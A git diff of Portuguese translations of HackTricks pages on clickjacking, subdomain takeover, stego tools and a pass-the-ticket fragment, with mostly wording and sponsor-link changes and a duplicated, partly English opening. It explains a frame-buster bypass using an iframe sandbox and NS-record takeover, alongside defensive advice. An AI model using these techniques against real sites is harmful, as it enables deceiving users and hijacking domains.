O atacante primeiro cria uma página da web maliciosa que contém um elemento arrastável, como uma imagem ou um botão. Quando o usuário visita essa página da web, ele pode ser incentivado a interagir com o elemento arrastável.
|
||||
Para realizar esse ataque, o atacante primeiro cria uma sobreposição transparente sobre o site alvo. Essa sobreposição contém um objeto arrastável que parece inofensivo para o usuário. O atacante então usa JavaScript para capturar os eventos de arrastar e soltar do usuário e redirecioná-los para o botão ou link oculto.
|
||||
|
||||
Once the user starts dragging the element, the attacker's webpage uses JavaScript to overlay an invisible iframe on top of a target webpage. The iframe is positioned in such a way that when the user releases the draggable element, they inadvertently click on a hidden button or perform an action on the target webpage without their knowledge.
|
||||
The user, unaware of the hidden button or link, believes they are interacting with the draggable object on the target website. However, in reality, they are performing actions on the attacker's hidden element.
|
||||
|
||||
Assim que o usuário começa a arrastar o elemento, a página da web do atacante usa JavaScript para sobrepor um iframe invisível em cima de uma página da web alvo. O iframe é posicionado de tal forma que, quando o usuário solta o elemento arrastável, ele inadvertidamente clica em um botão oculto ou realiza uma ação na página da web alvo sem o seu conhecimento.
|
||||
O usuário, sem saber do botão ou link oculto, acredita estar interagindo com o objeto arrastável no site alvo. No entanto, na realidade, eles estão realizando ações no elemento oculto do atacante.
|
||||
|
||||
This technique can be used to perform various malicious actions, such as submitting forms, making unauthorized transactions, or even changing the user's account settings.
|
||||
This technique can be used to perform various malicious actions, such as submitting forms, making unauthorized purchases, or even enabling microphone and camera access without the user's knowledge.
|
||||
|
||||
Essa técnica pode ser usada para realizar várias ações maliciosas, como enviar formulários, fazer transações não autorizadas ou até mesmo alterar as configurações da conta do usuário.
|
||||
Essa técnica pode ser usada para realizar várias ações maliciosas, como enviar formulários, fazer compras não autorizadas ou até mesmo permitir acesso ao microfone e à câmera sem o conhecimento do usuário.
|
||||
|
||||
To protect against drag and drop + click payloads, website owners should implement frame-busting techniques, such as the X-Frame-Options header or the Content-Security-Policy frame-ancestors directive. These measures help prevent clickjacking attacks by ensuring that the website is not loaded within a malicious frame.
|
||||
|
||||
Para se proteger contra cargas de arrastar e soltar + clique, os proprietários de sites devem implementar técnicas de quebra de frames, como o cabeçalho X-Frame-Options ou a diretiva frame-ancestors do Content-Security-Policy. Essas medidas ajudam a prevenir ataques de clickjacking, garantindo que o site não seja carregado dentro de um frame malicioso.
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
@ -133,25 +135,25 @@ background: #F00;
|
|||
```
|
||||
### XSS + Clickjacking
|
||||
|
||||
Se você identificou um ataque **XSS que requer que o usuário clique** em algum elemento para **acionar** o XSS e a página é **vulnerável a clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
|
||||
Se você identificou um ataque **XSS que requer que o usuário clique** em algum elemento para **acionar** o XSS e a página é **vulnerável ao clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
|
||||
Exemplo:\
|
||||
_Você encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\
|
||||
\_\_Um atacante poderia preparar um ataque de **Clickjacking** para aquela página, **preenchendo** o **formulário** com o **payload XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário for enviado** e os valores forem modificados, o **usuário executará o XSS**.
|
||||
_Você encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode configurar e ler**). A página com o **formulário** para configurar esses detalhes é **vulnerável** ao **clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\
|
||||
\_\_Um atacante poderia preparar um ataque de **clickjacking** para aquela página, **preenchendo** o **formulário** com o **payload XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário é enviado** e os valores são modificados, o **usuário executará o XSS**.
|
||||
|
||||
## Como evitar o Clickjacking
|
||||
|
||||
### Defesas do lado do cliente
|
||||
|
||||
É possível executar scripts no lado do cliente que realizam alguns ou todos os seguintes comportamentos para evitar o Clickjacking:
|
||||
É possível executar scripts no lado do cliente que realizam alguns ou todos os seguintes comportamentos para prevenir o Clickjacking:
|
||||
|
||||
* verificar e garantir que a janela de aplicativo atual seja a janela principal ou superior,
|
||||
* verificar e garantir que a janela de aplicativo atual é a janela principal ou superior,
|
||||
* tornar todos os frames visíveis,
|
||||
* impedir o clique em frames invisíveis,
|
||||
* interceptar e sinalizar possíveis ataques de clickjacking para um usuário.
|
||||
|
||||
#### Bypass
|
||||
|
||||
Como os frame busters são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou até mesmo o navegador pode não suportar JavaScript. Uma forma eficaz de contornar os frame busters é usar o **atributo `sandbox` do HTML5 iframe**. Quando isso é definido com os valores `allow-forms` ou `allow-scripts` e o valor `allow-top-navigation` é omitido, o script do frame buster pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:
|
||||
Como os frame busters são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou até mesmo o navegador pode não suportar JavaScript. Uma forma eficaz de contornar os frame busters é usar o **atributo `sandbox` do iframe do HTML5**. Quando isso é definido com os valores `allow-forms` ou `allow-scripts` e o valor `allow-top-navigation` é omitido, o script do frame buster pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior.
|
||||
```markup
|
||||
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
|
@ -188,7 +190,7 @@ Consulte a documentação a seguir para obter mais detalhes e exemplos mais comp
|
|||
### Limitações <a href="#limitations" id="limitations"></a>
|
||||
|
||||
* **Compatibilidade com navegadores:** O CSP frame-ancestors ainda não é suportado por todos os principais navegadores.
|
||||
* **X-Frame-Options tem prioridade:** A seção "Relação com X-Frame-Options" da especificação CSP diz: "_Se um recurso for entregue com uma política que inclua uma diretiva chamada frame-ancestors e cuja disposição seja "enforce", o cabeçalho X-Frame-Options DEVE ser ignorado_", mas o Chrome 40 e o Firefox 35 ignoram a diretiva frame-ancestors e seguem o cabeçalho X-Frame-Options.
|
||||
* **X-Frame-Options tem prioridade:** A seção "Relação com X-Frame-Options" da especificação CSP diz: "_Se um recurso for entregue com uma política que inclua uma diretiva chamada frame-ancestors e cuja disposição seja 'enforce', o cabeçalho X-Frame-Options DEVE ser ignorado_", mas o Chrome 40 e o Firefox 35 ignoram a diretiva frame-ancestors e seguem o cabeçalho X-Frame-Options.
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -198,7 +200,7 @@ Consulte a documentação a seguir para obter mais detalhes e exemplos mais comp
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para criar e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -15,18 +15,18 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Apropriação de Domínio
|
||||
|
||||
Se você descobrir algum domínio (dominio.tld) que está **sendo usado por algum serviço dentro do escopo**, mas a **empresa** perdeu a **propriedade** dele, você pode tentar **registrá-lo** (se for barato o suficiente) e informar a empresa. Se esse domínio estiver recebendo alguma **informação sensível**, como um cookie de sessão via parâmetro **GET** ou no cabeçalho **Referer**, isso é com certeza uma **vulnerabilidade**.
|
||||
Se você descobrir algum domínio (dominio.tld) que está **sendo usado por algum serviço dentro do escopo**, mas a **empresa** perdeu a **propriedade** dele, você pode tentar **registrá-lo** (se for barato o suficiente) e informar a empresa. Se este domínio estiver recebendo alguma **informação sensível**, como um cookie de sessão via parâmetro **GET** ou no cabeçalho **Referer**, isso é com certeza uma **vulnerabilidade**.
|
||||
|
||||
### Apropriação de Subdomínio
|
||||
|
||||
Um subdomínio da empresa está apontando para um **serviço de terceiros com um nome não registrado**. Se você puder **criar** uma **conta** neste **serviço de terceiros** e **registrar** o **nome** que está sendo usado, você pode realizar a apropriação do subdomínio.
|
||||
Um subdomínio da empresa está apontando para um **serviço de terceiros com um nome não registrado**. Se você pode **criar** uma **conta** neste **serviço de terceiros** e **registrar** o **nome** que está sendo usado, você pode realizar a apropriação do subdomínio.
|
||||
|
||||
Existem várias ferramentas com dicionários para verificar possíveis apropriações:
|
||||
|
||||
|
@ -89,7 +89,7 @@ No entanto, campanhas recentes de phishing hospedam conteúdo em domínios com n
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para criar e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para criar e **automatizar fluxos de trabalho** facilmente com as **ferramentas comunitárias mais avançadas do mundo**.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -149,7 +149,7 @@ Um dos problemas no subdomínio takeover usando registro NS é que o nome de dom
|
|||
2. Se o resolvedor DNS do usuário escolher _ns.nonvulnerable.com_ (servidor de nomes legítimo), o resultado correto será retornado e provavelmente será armazenado em cache em algum lugar entre 6 e 24 horas.
|
||||
3. Se o resolvedor DNS do usuário escolher _ns.vulnerable.com_ (servidor de nomes de propriedade de um invasor), um invasor pode fornecer um resultado falso que também será armazenado em cache. Como um invasor controla o servidor de nomes, ela pode definir o TTL para esse resultado específico, por exemplo, uma semana.
|
||||
|
||||
O processo acima é repetido toda vez que a entrada de cache expira. Quando um invasor escolhe usar um TTL com valor alto, o resultado falso permanecerá no cache DNS durante esse período. Durante esse tempo, todas as solicitações para _sub.example.com_ usarão o resultado DNS falso armazenado em cache por um invasor. Essa ideia é ainda amplificada quando os resolvedores DNS públicos (por exemplo, Google DNS) são usados. Nesse caso, os resolvedores públicos provavelmente armazenarão em cache os resultados falsos, o que significa que todos os usuários que usam o mesmo resolvedor DNS obterão resultados falsos até que o cache seja revogado.
|
||||
O processo acima é repetido toda vez que a entrada de cache expira. Quando um invasor escolhe usar um TTL com valor alto, o resultado falso permanecerá no cache DNS por esse período. Durante esse tempo, todas as solicitações para _sub.example.com_ usarão o resultado DNS falso armazenado em cache por um invasor. Essa ideia é ainda amplificada quando os resolvedores DNS públicos (por exemplo, Google DNS) são usados. Nesse caso, os resolvedores públicos provavelmente armazenarão em cache os resultados falsos, o que significa que todos os usuários que usam o mesmo resolvedor DNS obterão resultados falsos até que o cache seja revogado.
|
||||
|
||||
Além do controle sobre o nome de domínio de origem, também é obtido o controle sobre todos os domínios de nível superior do nome de domínio de origem. Isso ocorre porque possuir um nome de domínio canônico do registro NS significa possuir a zona DNS completa do nome de domínio de origem.
|
||||
|
||||
|
@ -160,12 +160,12 @@ Matthew também [demonstrou](https://thehackerblog.com/the-io-error-taking-contr
|
|||
|
||||
As estratégias de mitigação para domínios já vulneráveis a subdomain takeover são bastante simples:
|
||||
|
||||
* **Remova o registro DNS afetado** - A solução mais simples é remover o registro afetado da zona DNS. Esse passo é geralmente utilizado se a organização concluir que o nome de domínio de origem afetado não é mais necessário.
|
||||
* **Reivindique o nome de domínio** - Isso significa registrar o recurso em um provedor de nuvem específico ou, no caso de um domínio regular da Internet, recomprar o domínio expirado.
|
||||
* **Remova o registro DNS afetado** — A solução mais simples é remover o registro afetado da zona DNS. Esse passo é geralmente utilizado quando a organização conclui que o nome de domínio afetado não é mais necessário.
|
||||
* **Reivindique o nome de domínio** — Isso significa registrar o recurso em um provedor de nuvem específico ou, no caso de um domínio regular da Internet, recomprar o domínio expirado.
|
||||
|
||||
Para evitar subdomain takeover no futuro, as organizações devem alterar o processo de criação e destruição de recursos em sua infraestrutura. No caso da criação de recursos, a criação do registro DNS deve ser a _última etapa_ desse processo. Essa condição impede que o registro DNS aponte para um domínio inexistente em qualquer momento. Para a destruição de recursos, ocorre o oposto: o registro DNS precisa ser removido como a _primeira etapa_ desse processo. Ferramentas como [aquatone](https://github.com/michenriksen/aquatone) incluem verificações para subdomain takeover. Essas verificações devem ser realizadas periodicamente por uma equipe de segurança de uma organização para verificar se não há domínios vulneráveis. Os processos de coleta centralizada de nomes de domínio expostos geralmente não são eficientes dentro das organizações (devido a equipes globais, etc.) e o monitoramento externo geralmente é a melhor opção.
|
||||
Para evitar subdomain takeover no futuro, as organizações devem alterar o processo de criação e destruição de recursos em sua infraestrutura. No caso da criação de recursos, a criação do registro DNS deve ser a _última etapa_ desse processo. Essa condição impede que o registro DNS aponte para um domínio inexistente em qualquer momento. Para a destruição de recursos, ocorre o oposto: o registro DNS precisa ser removido como a _primeira etapa_ desse processo. Ferramentas como [aquatone](https://github.com/michenriksen/aquatone) incluem verificações para subdomain takeover. Essas verificações devem ser realizadas periodicamente por uma equipe de segurança da organização para verificar se não há domínios vulneráveis. Os processos de coleta centralizada de nomes de domínio expostos geralmente não são eficientes dentro das organizações (devido a equipes globais, etc.) e o monitoramento externo geralmente é a melhor opção.
|
||||
|
||||
A estratégia de mitigação para provedores de nuvem também deve ser considerada. Os serviços em nuvem não verificam a propriedade do domínio. A razão por trás disso é principalmente a conveniência. O provedor de nuvem não introduz nenhuma vulnerabilidade ao não verificar a propriedade de um nome de domínio de origem. Portanto, cabe ao usuário monitorar seus registros DNS. Outro motivo é que, quando um recurso em nuvem é removido, o usuário geralmente não é mais cliente desse serviço. A pergunta que os provedores de nuvem fazem a si mesmos é: Por que deveríamos nos importar?
|
||||
A mitigação para provedores de nuvem também deve ser considerada. Os serviços em nuvem não verificam a propriedade do domínio. A razão para isso é principalmente a conveniência. O provedor de nuvem não introduz nenhuma vulnerabilidade ao não verificar a propriedade de um nome de domínio de origem. Portanto, cabe ao usuário monitorar seus registros DNS. Outro motivo é que, quando um recurso em nuvem é removido, o usuário geralmente não é mais cliente desse serviço. A pergunta que os provedores de nuvem fazem é: Por que deveríamos nos importar?
|
||||
|
||||
Provedores como [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) perceberam que o subdomain takeover é um problema e implementaram um mecanismo de verificação de domínio.
|
||||
|
||||
|
@ -178,7 +178,7 @@ Até a próxima!
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -188,7 +188,7 @@ Acesse hoje mesmo:
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -27,23 +27,23 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
|
|||
Binwalk é uma ferramenta para procurar arquivos binários, como imagens e arquivos de áudio, em busca de arquivos e dados ocultos embutidos.\
|
||||
Pode ser instalado com `apt`, e a [fonte](https://github.com/ReFirmLabs/binwalk) pode ser encontrada no Github.\
|
||||
**Comandos úteis**:\
|
||||
`binwalk file` : Exibe os dados embutidos no arquivo fornecido\
|
||||
`binwalk -e file` : Exibe e extrai os dados do arquivo fornecido\
|
||||
`binwalk --dd ".*" file` : Exibe e extrai os dados do arquivo fornecido
|
||||
`binwalk arquivo` : Exibe os dados embutidos no arquivo fornecido\
|
||||
`binwalk -e arquivo` : Exibe e extrai os dados do arquivo fornecido\
|
||||
`binwalk --dd ".*" arquivo` : Exibe e extrai os dados do arquivo fornecido
|
||||
|
||||
### Foremost <a href="#foremost" id="foremost"></a>
|
||||
|
||||
Foremost é um programa que recupera arquivos com base em seus cabeçalhos, rodapés e estruturas de dados internas. Acho especialmente útil ao lidar com imagens png. Você pode selecionar os arquivos que o Foremost irá extrair alterando o arquivo de configuração em **/etc/foremost.conf.**\
|
||||
Pode ser instalado com `apt`, e a [fonte](https://github.com/korczis/foremost) pode ser encontrada no Github.\
|
||||
**Comandos úteis:**\
|
||||
`foremost -i file` : extrai dados do arquivo fornecido.
|
||||
`foremost -i arquivo` : extrai dados do arquivo fornecido.
|
||||
|
||||
### Exiftool <a href="#exiftool" id="exiftool"></a>
|
||||
|
||||
Às vezes, coisas importantes estão ocultas nos metadados de uma imagem ou arquivo; o exiftool pode ser muito útil para visualizar os metadados do arquivo.\
|
||||
Você pode obtê-lo [aqui](https://www.sno.phy.queensu.ca/\~phil/exiftool/)\
|
||||
**Comandos úteis:**\
|
||||
`exiftool file` : mostra os metadados do arquivo fornecido
|
||||
`exiftool arquivo` : mostra os metadados do arquivo fornecido
|
||||
|
||||
### Exiv2 <a href="#exiv2" id="exiv2"></a>
|
||||
|
||||
|
@ -51,7 +51,7 @@ Uma ferramenta semelhante ao exiftool.\
|
|||
Pode ser instalado com `apt`, e a [fonte](https://github.com/Exiv2/exiv2) pode ser encontrada no Github.\
|
||||
[Site oficial](http://www.exiv2.org/)\
|
||||
**Comandos úteis:**\
|
||||
`exiv2 file` : mostra os metadados do arquivo fornecido
|
||||
`exiv2 arquivo` : mostra os metadados do arquivo fornecido
|
||||
|
||||
### File
|
||||
|
||||
|
@ -61,15 +61,15 @@ Verifique que tipo de arquivo você tem
|
|||
|
||||
Extraia strings do arquivo.\
|
||||
Comandos úteis:\
|
||||
`strings -n 6 file`: Extrai as strings com comprimento mínimo de 6\
|
||||
`strings -n 6 file | head -n 20`: Extrai as primeiras 20 strings com comprimento mínimo de 6\
|
||||
`strings -n 6 file | tail -n 20`: Extrai as últimas 20 strings com comprimento mínimo de 6\
|
||||
`strings -e s -n 6 file`: Extrai strings de 7 bits\
|
||||
`strings -e S -n 6 file`: Extrai strings de 8 bits\
|
||||
`strings -e l -n 6 file`: Extrai strings de 16 bits (little-endian)\
|
||||
`strings -e b -n 6 file`: Extrai strings de 16 bits (big-endian)\
|
||||
`strings -e L -n 6 file`: Extrai strings de 32 bits (little-endian)\
|
||||
`strings -e B -n 6 file`: Extrai strings de 32 bits (big-endian)
|
||||
`strings -n 6 arquivo`: Extrai as strings com comprimento mínimo de 6\
|
||||
`strings -n 6 arquivo | head -n 20`: Extrai as primeiras 20 strings com comprimento mínimo de 6\
|
||||
`strings -n 6 arquivo | tail -n 20`: Extrai as últimas 20 strings com comprimento mínimo de 6\
|
||||
`strings -e s -n 6 arquivo`: Extrai strings de 7 bits\
|
||||
`strings -e S -n 6 arquivo`: Extrai strings de 8 bits\
|
||||
`strings -e l -n 6 arquivo`: Extrai strings de 16 bits (little-endian)\
|
||||
`strings -e b -n 6 arquivo`: Extrai strings de 16 bits (big-endian)\
|
||||
`strings -e L -n 6 arquivo`: Extrai strings de 32 bits (little-endian)\
|
||||
`strings -e B -n 6 arquivo`: Extrai strings de 32 bits (big-endian)
|
||||
|
||||
### cmp - Comparação
|
||||
|
||||
|
@ -87,7 +87,7 @@ Para **extrair** os **dados**, você pode usar: [https://www.irongeek.com/i.php?
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -130,7 +130,7 @@ Capaz de uma ampla variedade de truques simples e avançados, essa ferramenta po
|
|||
|
||||
### Stegsolve
|
||||
|
||||
Às vezes, há uma mensagem ou um texto oculto na própria imagem que, para visualizá-lo, deve ter filtros de cor aplicados ou alguns níveis de cor alterados. Embora você possa fazer isso com algo como o GIMP ou o Photoshop, o Stegsolve torna mais fácil. É uma pequena ferramenta Java que aplica muitos filtros de cor úteis em imagens; em desafios CTF, o Stegsolve muitas vezes economiza muito tempo.\
|
||||
Às vezes, há uma mensagem ou um texto oculto na própria imagem que, para visualizá-lo, deve ter filtros de cor aplicados ou alguns níveis de cor alterados. Embora você possa fazer isso com algo como GIMP ou Photoshop, o Stegsolve facilita. É uma pequena ferramenta Java que aplica muitos filtros de cor úteis em imagens; em desafios CTF, o Stegsolve muitas vezes economiza muito tempo.\
|
||||
Você pode obtê-lo no [Github](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)\
|
||||
Para usá-lo, basta abrir a imagem e clicar nos botões `<` `>`.
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -64,7 +64,7 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -73,10 +73,10 @@ Acesse hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue